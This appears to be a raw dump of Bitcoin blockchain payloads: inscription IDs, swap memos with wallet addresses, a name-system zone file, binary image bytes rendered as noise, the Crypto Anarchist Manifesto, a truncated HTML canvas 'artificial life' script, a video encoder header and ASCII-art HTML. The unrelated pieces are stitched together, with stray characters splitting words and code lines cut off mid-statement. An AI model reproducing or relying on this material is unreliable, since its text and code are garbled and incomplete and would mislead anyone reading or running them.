180 - ef4839179b4aa2183acff0af117b321a67e3c835e2523e1dd3e53d3f2b43a2dfi0
181 - e677f314ad01c20f7140281f38637d54bedd85dc1b20f7998813b12b5732d196i0
182 - 84de525e19e842869483e731cM
51893fb543ea20df98ea39765e0e7fb7de8aff5i0
183 - 0b0e33815e408f654322da6fa3d5c87cd7e5bdb13824db1e865034741ecbfc8ci0
184 - fc29262dc3bc43c37b4f26548766ef3e2e3082e18a1cd1939caa76dd3efad739i0
185 - 8bf3be377acf591ea88a3f4e432eb28ed8dd507a6b8728e082ec07c6f0111278i0
186 - 436f63270381bc3487524f1572d0e1bc6e2d061cc1707952749a67d5ca4c79fei0
187 - f49c053820a3b45de4a01918fa79366161cafa1b92a34aa99327706f583457d7i0
188 - 90975d0ccdf9db3dfcb33a351b9d7934d7ca2bbf9f7b4e5b01d61362a1f6f0b4i0
189 - 64cf4e0da665657153ccc2fbd9cd2baa3eM
6407b2adb7eb4eaee4905a90290a15i0
190 - 30e6892bf2ff586f34f1e4e50f16cfdefa91dac6ed76c7eb7240ea4fd227e88ci0
191 - dfd23f80504052d4a571390ace6426580616ca728fc3df139f046e98ab0f8948i0
192 - 2b0478a66ee4af66bfa7d5a384867deb252301d4da632f5bf535d267abd5e466i0
193 - 303dcf48646129ab871948a58e35b1dcf6b775b511c17370f1e7e8dda7872684i0
194 - 1e1a925096b607f6bd2287bedf8c2fd8f3b749618facf185a031589a79c4079ai0
195 - 0a2f33f35489fdf814ef0a1d1129b2388c2f00269fe0c4b642f7b04d532b16dei0
196 - 9e1c869e12a39df595a2cd4aef35877e4c88fc10b32M
136b24f47880ac01a7d06i0
197 - 29b95454e45aeaa2d130ffac41b49e98a91a300e75b6869ba879badbf8aef35ei0
198 - 7e7d2a4ac0addc50ef6823ce7a3561af1f6269e265b3b7ac122b7eb878dab448i0
199 - 525352a72a4f7d3345812423b6d6ac4f1bac56cc4baef827d6a3926443e41afdi0
200 - 637f56a6d4fe02eec6198eae756134b37de2179512662d0a973ea323605eb7f5i0
201 - 466aa97bb8a0312cfa9ffd10b692c57ab3d8e5fc4fc175df234c31be83933aeei0
202 - a463d12948493d07d06960a36f56792b76dd2ecb4ba8396f7b1b722b52dfd31ai0
203 - 070ca49e3bc06fdef67c1465fcbe671f86a60481c8ab8c5aa1eaM
204 - b4764e8cd92ef760ff6be2a8985b98fa1943b50dc86e6e08656744ac2e15f0f9i0
205 - 533589f278bf18ec17e8909acaf9796a62ef37fdcb2ffced020ab80161b49cc2i0
206 - 0db317b139e3ae058290897368829c898c18e588b1e35f38d8d8436b98467c69i0
207 - 18a5f88cbb99e04fdced742c47ed75be37abf8921824c57172941e9a3e8364f4i0
208 - 74cf84eb4877fde71e915d8db32114f7c4a9f35ac61621dd09118c349442943di0
209 - b8c82a10696550a5c1c879b1a3ea62d1fc54bd4c679503bb6bbebb5a65df34f6i0
210 - 75cdfc5b09a4eb84ae28cf65cf34ed17626bff638d22cb8d7d5e0b42bf73cM
211 - b011b94b9e11f2e29d9ce34d735a8bc53d96efefe38b58e669bf5f42023ddc28i0
212 - f57a9e8180d11c96526a0e2fcdf671d1ff21fa66d135d4e371410532987196a2i0
213 - 3a8c0532247a9d82c36f7eb5d7e8aef1231fae931b43d16497865f54f278c491i0
214 - 03627fe1eb21c4968fcdaed3a8a326326fa135dd45b36038a96b5c588d850f8bi0
215 - 2db6f35a7ae841b5baa7e74ef8ae5b4192b4b9054afa34173815e747b453ef39i0
216 - aa37271a37c16dbb2e1cf32a0e6df9ff0d46d6bf7ddd934a64fc373fe2f16e37i0
217 - 4a4c3e2aa76264305628626612ef0e082db321db2cfae8f500d311c14e6ef66ei0
 - d70e4a0f2a7dba4d88bdf67c0c9a9fee9cfc7afd116368ac00eeebacfb5f8a64i0
219 - 493936ce6f494b168a31d17267373cbc3bb6fada86bf870521abad9f80359676i0
220 - 4cf5c3647d6cb7a2973c616cab22aac54577f6bc69054287aa400c6d75d60aedi0
221 - 0f795348c913108f3bc4a9b9003e8b4192a409bd5157ec07f55827a77827e17ci0
222 - 66d9bfd953bfc9e7a4ff8bf920cb388c79a06bbaf4e2fecf3860307d7ad0d894i0
223 - 58369873161220413a9452fbac5c44dcb9167d0ea00d35feedafe26c21441242i0
224 - 1f8f4aba4b7f1e58d4896e4704338ff8485f92d013921c3295167832b78287a2i0
bbb18159fe53ce513ff28c453b008b73ac3420b85e7e321831d0431142i0
226 - 539e7e7a096ac35274e9f809ea1c204b56032150dfcc6482966a5d229832708ai0
227 - fcae68f14f6c1f5201a9c9a75ee0c976359937e156bf6a2be8ec6c436ff5ae29i0
228 - 9de5112452f78641ab1ec5a5620b781537fc57be3a4ebe8f047e6663efeac028i0
229 - 355a3fc1b3521f9d5ffb01e0f17818c17d5958b03e5b943468ad4efc6db064f3i0
230 - 6824b8ecb06af80c34c7ff4a7f21cb54ba111d02ae49e32147ed92901e405c27i0
231 - dc6c4f5394db7f81a647cf0718a4dd41e7cfafc57878ba2bcd5a95ede6bde2c9i0
232 - cfda4c70406b030M
dd5c62baed864e3927a9ec7591770b40684db518f315ca6e5i0
233 - 72571979998c2bfdfac23be16b6f0dafbc6ca64c2699146f26e59d24e4a21513i0
234 - aaf2cf4596ba528bd803a9d87173d91de35170194d28c2cd31e2c3363a9db7dei0
235 - a197746c60e2497856f30ce671b69d40d76db14ffd6fd437999c30e072f1f420i0
236 - 2a0833c28417ea6a359da4f3d9f877e5a4a7156a425b9e206ff33cdd58aeff1fi0
237 - 6bdcd6669619700c8afd6e5acb69ce6352d11ae5030cef5fd37267979c023489i0
238 - 6bdcd6669619700c8afd6e5acb69ce6352d11ae5030cef5fd37267979c023489i0
239 - 95aa8f509146e8efee5a2371M
ca1fbc0ac7e38e75ef590ea36dcf0a3f5e64f6a1i0
240 - 83053ebccef5252d10dada2b96c5d69e47c4afcfcb41488043fb5b853100014fi0
241 - 9584e6feb346eab640e64528533f29830957768c0519d8cc10ce72e6fdcd2b07i0
242 - 355b766bdd1031ee47169e38585c2689d02b375cf3b666aa36a5b3c8c5a8d0a5i0
243 - 69ece6ac3c463b4128d27eb346ed2552b66fc12801b888dc1aa1b0bb9e150f76i0
244 - 3532f579f8bd3b6fffc40b0b8915fd6b1e774654004cb616cbf38a56c21ceff0i0
245 - 97d17d98950c63bcaad59379c0e879ec077cd888effa49ce7c24420aafdaf67fi0
246 - 0f35fc4e2a4345938b3b32aaef6019c6aM
85657de8a9aa7eb8ef1ee15bc174d3ei0
247 - ccf66ddcea074d5b9e86e0e23938b7257cf6aad1cb55803583e2868b713c4dd5i0
248 - 366201e645653c250896a4472a3a965f214249a2925ac18859bf21468215ce53i0
249 - 845055187467775fd124b165989dbb58b76d0a2adff5de1fb3dfcb7fef62d465i0
250 - 403df76140ad001e424598a8d0881c0873c8984786da92b0473dea49969b5f09i0
251 - b89d305461ba35d7b2cb3a5f6a47af5c56c81fab110e65ca4003afd2f66710f8i0
252 - 4ded3bce813e8d92e043d82b23c9503641e2a3545df3e925c6d775a3fff8842fi0
253 - 8232d40ca9c11a3d90c7c4ccc713f661e40b14d6bcL
a03b5498e8f097803d45dei0
254 - 0073308285b868546a7e2e4b446ec941a7efe8b0e470bb4a8cb6b261587cd28ai0
255 - eb5f1d5e03930c6885ab6a8edb3bea436a0035c7f63473c251dcf0e64521b021i0h!
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
MjK=:ETH.USDC-B48:0x0f56bf40d11e065bf4a557fb13d565c9d4398436:394786659523:t:30
FjDOUT:46A5BCAC71149BE16C9E98E0852EE3FCAC1D75FD229C400802C52407F4049F16
FjDOUT:2453CD73552A4EB4C217D2F6C477B0EF9E8C2473B74D0E00F39E92581589DDD7
FjDOUT:C0A4D447A552DA9919ED006775F498EBAC682D1C08F55F3A6E1EA684E6185986
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
text/plain;charset=utf-8
text/plain;charset=utf-8
brice.btc - Bitcoin Name System
_http._tcp	IN	URI	10	1	"https://gaia.blockstack.org/hub/18NeHYC44KBtykbo3STs249XVvd56xMGLQ/profile.json"
_redirect	IN	URI	10	1	"https://obycode.com"
_lnaddr_redirect	IN	URI	10	1	"https://getalby.com/.well-known/lnurlp/brice"
@	IN	A	161.35.228.61
__nostr	IN	TXT	"24000bb23470b662e3ef22025a659a64758a0e85e4b02f060be2cf45174fa730"
_btc._addr	IN	TXT	"35PT8Rx2qPCzhuCy9vu2aBocDZH5TsG5Mo"
7c470dc2cb12ae2d34cb1c203b4d1a871a7L
29d190aa422429103f2d7970e446a08bc027dc2b6ff72abeede06e6945bfdd38dfc3ff9e2ccbc583c6b2f99f9e7db00
0247878c654608ad40edffd3296690c057345e80dc10bdf7875c1b23e141424bbbh!
&4#$$+,+'('4+',2*55*((43-7,27;;;666D;8L51D(
FD:HE<k;EM7DfGHGULIKQIXVIGHWTIUJSU\\\WVUdYYfWN[dZZgTfg[pnTWZfQQkk[n[ed]fvcechhgjsjvuijivujvjsuxxxsjh
'GIF resized on https://ezgif.com/resize
$7(('7((,5+95*))68+7,38787A!
9C:<A/GF;KO7gP>+(F97G88]84U2(Q))WF7LF8i>GLGHGKTGWWJHIVXYWQMSd\WpYQYcX[iMM
ffYpoTY[gQQpd\icWu[ggYiwghhithwwkihvtjviuuxxwtmi
"$###+,-(('3*'-3,.4(55**(5-45442<<<7974+8D:7C4+<D:EH;QM:`Z<
%I:9E.,H/1`E:GK8O<DG<CT?MbGHGTLIKTHWUIKKULSXWWWSKRdXQZcZXdMegYksUXZeOOmfXf[eg\atghgktgvxjijvuivkvwxyxtki
"1#$#++$,,,&'(6*(-2+54*'(57*8-34344898C02C#
<B:8E+EG;TQ;i]<97F88]84V/,JM
"'VF:IA4IH>e;ED<HS>V_GHHSKHKVIVWKHIVLUWWWVUKUc[XeSJ[cYZaMggYpmUXYfOOoh[n\ee\itghhujgkuivvkhivituwxxtlw
".#$#+,+''(55+()54,7+347870/)D<8G2,E(
;D7=F(DE:RN;Sa=89E0.K58d
 FE;MO>d<DG;CV4@oGGHTIHKSJUVKHGVLRUWXWVKXd[XeWK[dZScOff[rqXYZhMMkdZfdUtZeg[evhhgskjkuixvjiiukuvwwxtju
$*#$$+,+'('5-&,2)66,)(6-383438983,5C99E2*=C:-E1FG9KG3dR8:7D21O
"QF<J<CE:HV8EiLLKFHFHSIVVJGFXLVUXXXVJMc]\cQOZeXWcKffZpoVXWgRPod]fgYsZcfZhogghvkgjthuviijumuwwxxtlw
":#$#+,+'(',2*46+'(54,5.277873,(H94<C:=I5EE;PJ2]s;89E./K%(VF9IL8RE=f;DG=GX9BtGHGJTIUVKIJVKTWWXXTIMdZYiUN[dY[kLfhYopVWYfOQle[foYg[eg[frghfvjijtjvwjiivujvjtwwyw
"/(((*3(66***5,577874),F95Q
8N@5m=ED:GS>FpHIFTUKGJVTLXKTVWXVOMJhWT[eXWcJeh[nrWXZfNOmgYm[eeZctfhgjskvxhihvtkwkuwwxwtlh
#,$##+,+'''4+',3)44,)*53+6-65787C<9G.0[2!:B92I/EE;WO999D33N"$LD<FL=Wb?a=HK>AdGHGUHHKSIWVJHHWKTWWXXVFYf[ZkRP[dZ]aJff[onVXXgYZsNMjdZfi]t[dfZhoghgrjhjtivwhijwtjwivuxxw
#6$$#(')3)',2)66+((44.7-45777D;8J4.B8
<C;;D+DE<RR8f_=88E98Z--K
ID;FJ<S;DE<IUHHGVJHJTIVWJHHVWKWJSVWYWe\ZhSS[dVUdLdM
f[ptZWYfQRle[fkVq[ffWhrghgtkiitkvvjgiwtmvjtwxxx
%4+++''%3+(+4+65*()65+8-26;<;667C:7L4(I5
;B99G/EF;QL<kY;99G0/O&&UE;GH7VE:f;CF8CX6CqGGGULHKTJUUKJKVTJWLUVWWWd\XfTR[cZ\fLgg[lpVKTeYYfYZuOJkd\diYt\ef]gvgigjuixwigivtltmtwxxwuki
!'###()(6+'66,()66+6+36887,4*G6/A#
=D96D0DE:RO8`^:99F88Z+,I77i
IF<GA2d=DF>FT<J`GHGSJHLSHUVJHHUUKTXXYMWSd\[hTQ\dZXeOef[olTXYePNndZenWq\eeZjrhigujjjtjuuiijvluxvwwvmv
#++,+&&&3+&+2)75+**64+5-36786G91B,
<D;9C-FF;PR6[X:89F0/L
F>BZ:DjGHHUMFKSIVVJHHUSLXWXWJTVd[WeYL[dXYjNffWonSWYfWYwMKie\hjYu[de^jtghgsmjksiwwjhivskwltwwxv
$)##$(*'+3*44*)(74,8898101D;7F3.=C9:G-EE9PM:a]:**E87G88]76X+0P14e
FF<HG8Pb;A;DF9HY4DiHHGTLIJTHSUJIITKUTVWWULWeZWeUMYeWUM
gGffXqjTXXgPNnf[epXpYekggglvfxuhgjwmvwwwwtim
"6$##+,+((&4)),4)66,()55+4-34343898D:8F3,C%
;C96C.FG;TP9bN<('C89F27R')SF;HA?g=DF;AS<JnHHGSJIJTJVVJIJVVJVKSWWWWd[WhULM
ZcWTdOfgZppXWYfOPliZk[fe^jxghgsjiluguujhivwitjuywxw
#&+,+''&3+),2)54,)*54+7-363338:8C:8R5-;C96F-EE<RN9qR;9:F77V.*K)(TE9M<DI;EVDECIIHSLHIUGVWIIGVUJSMVWWXWhXU[fZVdQefZrqWWYfRRmc[gk[u\deWjqgggvkhisiuvM
$)$##+++'('4+(,4+54+)*54-7-75443797B;9D8#B$
H89E99X/+I#&SF:KG<g<DE;EZ?OlGHGTKIKSIUVJIJVUJXJSTXYXe[XhWLZcYWeKfh[nqYIKiXYeQSni[mZcd[lvghhitivwjghwwkwjuuwxytki
 1###()(5*),3)86,((76+63448:8-64E;9E3-;D9:I0EE;LI7bc:98E0/M!&RG<GG9T:CF<JV7CqGHGKTIVVJHIWLVWXXXVIOdXR[dZYdPfgYrpVXYfROle[ghZv[ffXirkklffgrjiltgvujhjutlujvwwww
#+###+,,'(&4,(,2*66+()64,6,36786F93@.
G;QN:X\=69E01M'"LE;P<EH;DWHIGUKHJSIVVKIHWJUXWXVTJWd[YiUMZdX[dLfgYnnTWXfY[tMNme[flUn[ee[lqfgglsgvwihivuktjtuyxwuif
#'''(6+',1)75+**5787105G<9J3);B8EF;OI8
GIGKTHTVJFHWWHXWWVPNNhXT[dWXlJffYorVVZeXYwJNjkYp\dfYjrghftkhisivvjgjvjuvwxwwju
(0$##+,*(''3+(+4(54,)(54-5-46888F;7G8/A+
;D94A,FE;QJ6Y`9(&E97G-1J$&PC<IH9SA;b<GD>GSHHGSKILSIVVJGIVKTTWXWUKUe[WhUO[cZWdNegYsnVWYfROle[fnYu\de[jtghhtiiktjuwighwwxxppx
!7(('6)&,3*66+*(62,7,683438:8@! B-&E<8F2(@
:D82D0EF<OQ:kk<89F21N,0UH:IF;h<CE:AWDDCIIITKJLUHVXJHJUMVUVXWVLTd\XgVJZdXUdOge[onVWYgPRngZgiVu\df]hugigvjhkvjuujijvluuwxwwjz
%5,,,&'&2*(,3+66+))4233788/.6C:8H81@'
DF:LC=j<DG>IS?BaDCBHHGTKJLUHVVKHHVTMVXXXKTTc[WhXL[dYVdMfgZqoUYYeWZtMLjf[fhU{[df\drhhgukkjtjwujgiwwkviuuwwx
#1#$#+,+'(&3*(,3*44+'(52,7787-43D:6I4*:B89A/EF;UP:fS<:;E/.M1.YE9Qk:x;DG;GV;C`GHHRKJKTJUVIJKULTWWXWTLTfZVpRLZdYYfIgg[oqYXYfOPkjXm[fgXfvghgrjgktiwvjihwwyxprt
Bj@=:ETH.ETH:0xC629E918C9115416d0B4eD748b5Fa1f59BF3b27E:31156504::0
Bj@=:BNB.BNB:bnb1s0d02waxw3cy39f7mhfytul0kvdpe7vjx4rcuq:65018810::0
MjK=:BNB.BUSD-BD1:bnb13fjxusutn7pejt8tn4jsggphl47w8dq9lm6wma:105273983804:te:0
HjF=:BNB.TWT-8C2:bnb12v2a6zkp6qgpgg7zw39fqq3970lkdf07fu4jxj:1229773147::0
CjA=:ETH.ETH:0x76FFA0aeF181925f76Ad22A838191865D26C9C96:6360275:te:0
text/plain;charset=utf-8
The Crypto Anarchist Manifesto
A specter is haunting the modern world, the specter of crypto anarchy.
Computer technology is on the verge of providing the ability for individuals and groups to communicate and interact with each other in a totally anonymous manner. Two persons may exchange messages, conduct business, and negotiate electronic contracts without ever knowing the True Name, or legal identity, of the other. Interactions over networks will be untraceable, via extensivM
e re-routing of encrypted packets and tamper-proof boxes which implement cryptographic protocols with nearly perfect assurance against any tampering. Reputations will be of central importance, far more important in dealings than even the credit ratings of today. These developments will alter completely the nature of government regulation, the ability to tax and control economic interactions, the ability to keep information secret, and will even alter the nature of trust and reputation.
The technology for this reM
volution--and it surely will be both a social and economic revolution--has existed in theory for the past decade. The methods are based upon public-key encryption, zero-knowledge interactive proof systems, and various software protocols for interaction, authentication, and verification. The focus has until now been on academic conferences in Europe and the U.S., conferences monitored closely by the National Security Agency. But only recently have computer networks and personal computers attained sufficient speed toM
 make the ideas practically realizable. And the next ten years will bring enough additional speed to make the ideas economically feasible and essentially unstoppable. High-speed networks, ISDN, tamper-proof boxes, smart cards, satellites, Ku-band transmitters, multi-MIPS personal computers, and encryption chips now under development will be some of the enabling technologies.
The State will of course try to slow or halt the spread of this technology, citing national security concerns, use of the technology by druM
g dealers and tax evaders, and fears of societal disintegration. Many of these concerns will be valid; crypto anarchy will allow national secrets to be trade freely and will allow illicit and stolen materials to be traded. An anonymous computerized market will even make possible abhorrent markets for assassinations and extortion. Various criminal and foreign elements will be active users of CryptoNet. But this will not halt the spread of crypto anarchy.
Just as the technology of printing altered and reduced the M
power of medieval guilds and the social power structure, so too will cryptologic methods fundamentally alter the nature of corporations and of government interference in economic transactions. Combined with emerging information markets, crypto anarchy will create a liquid market for any and all material which can be put into words and pictures. And just as a seemingly minor invention like barbed wire made possible the fencing-off of vast ranches and farms, thus altering forever the concepts of land and property rigM
hts in the frontier West, so too will the seemingly minor discovery out of an arcane branch of mathematics come to be the wire clippers which dismantle the barbed wire around intellectual property.
Arise, you have nothing to lose but your barbed wire fences!h!
text/html;charset=utf-8
	<title>Artificial Life: Evolution Strategy</title>
			border: 8px solid black;
	<canvas id="myCanvas" width="1000" height="1000"></canvas>
		const canvas = document.getElementById('myCanvas');
		const ctx = canvas.getContext('2d');
		// define creature class
			constructor(x, y, color) {
				this.color = color;
				ctx.fillStyle = this.color;
t(this.x, this.y, 100, 100);
				this.x += Math.random() * 20 - 10;
				this.y += Math.random() * 20 - 10;
				// constrain x position to canvas bounds
				if (this.x < 0) {
				} else if (this.x + 20 > canvas.width) {
					this.x = canvas.width - 20;
				// constrain y position to canvas bounds
				if (this.y < 0) {
				} else if (this.y + 20 > canvas.height) {
					this.y = canvas.height - 20;
				const offspring = new Creature(M
					this.x + Math.random() * 10 - 5,
					this.y + Math.random() * 10 - 5,
					`rgb(${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)})`
				return offspring;
				const offspring = new Creature(
					Math.random() * canvas.width,
					Math.random() * canvas.height,
					`rgb(${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)})`
				return offspring;
 initial population of creatures
		let population = [];
		for (let i = 0; i < 8888; i++) {
			const creature = new Creature(
				Math.random() * canvas.width,
				Math.random() * canvas.height,
				`rgb(${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)})`
			population.push(creature);
		// define evolution function
		function evolve() {
			ctx.clearRect(0, 0, canvas.width, canvas.height);
			// move and draw each creature
(const creature of population) {
				creature.move();
				creature.draw();
			// perform evolution
			const newPopulation = [];
			for (let i = 0; i < 888; i++) {
				const index = Math.floor(Math.random() * population.length);
				const creature = population[index];
				const offspring = creature.mutate();
				newPopulation.push(creature, offspring);
			population = newPopulation;
			// repeat evolution process
			requestAnimationFrame(evolve);
		// start evolution
		requestAnimationFrame(evolve);
x264 - core 155 - H.264/MPEG-4 AVC codec - Copyleft 2003-2018 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=8 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 bM
_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00
/ViaBTC/Mined by minereal/,
IjGREFUND:D266F8427E1CE387CBD1F5A76CA08A83F5B0A96105BF8EDF3B17152BD7259571
FjDOUT:5B2DD3095FD3BD56C292EB464F6AAAAA6D1C5B689BE7DB4CCD02F8D8E7668677
FjDOUT:7CB2BBDC46E05752CBD17E559A2651E8153122B0D1275C5D6E0C767D9C9364DF
DjB=:ETH.ETH:0x5905289257973D32AeB27BaB6bC0871D1Af7B138:66497709:te:0
text/html;charset=utf-8
<html><code><span class="ascii" style="color: black; background: white;
display:inline-block;
font-family:'Consolas','BitstreamVeraSansMono','CourierNew',Courier,monospace;
border-color:lightgray;
"><span>@</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><spaM
n>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>M
&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&<M
/span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>@</span><span>%</span><span>&</span><span>%</span><span>@</span><span>@</span><span>&</span><span>%</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>%</span><span>@</span><span>&</sM
pan><span>&</span><span>&</span><span>&</span><span>%</span><span>%</span><span>#</span><span>&</span><span>&</span><span>%</span><span>%</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span>
<span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</spM
an><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</spanM
><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><M
span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><spM
an>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>%</span><span>%</span><span>%</span><span>&</span><span>&</span><span>/</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span>
<span>%</span><span>&</span><span>@</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><spaM
n>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>M
&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@<M
/span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>%</span><span>%</span><span>%</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</sM
pan><span>@</span><span>&</span><span>%</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span>
<span>%</span><span>#</span><span>&</span><span>%</span><span>%</span><span>%</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</spM
an><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</spanM
><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><M
span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>%</span><span>&</span><span>#</span><span>&</span><span>&</span><span>#</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><spM
an>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span>
<span>&</span><span>&</span><span>%</span><span>@</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><spaM
n>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>&</span><span>@</span><span>@</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>M
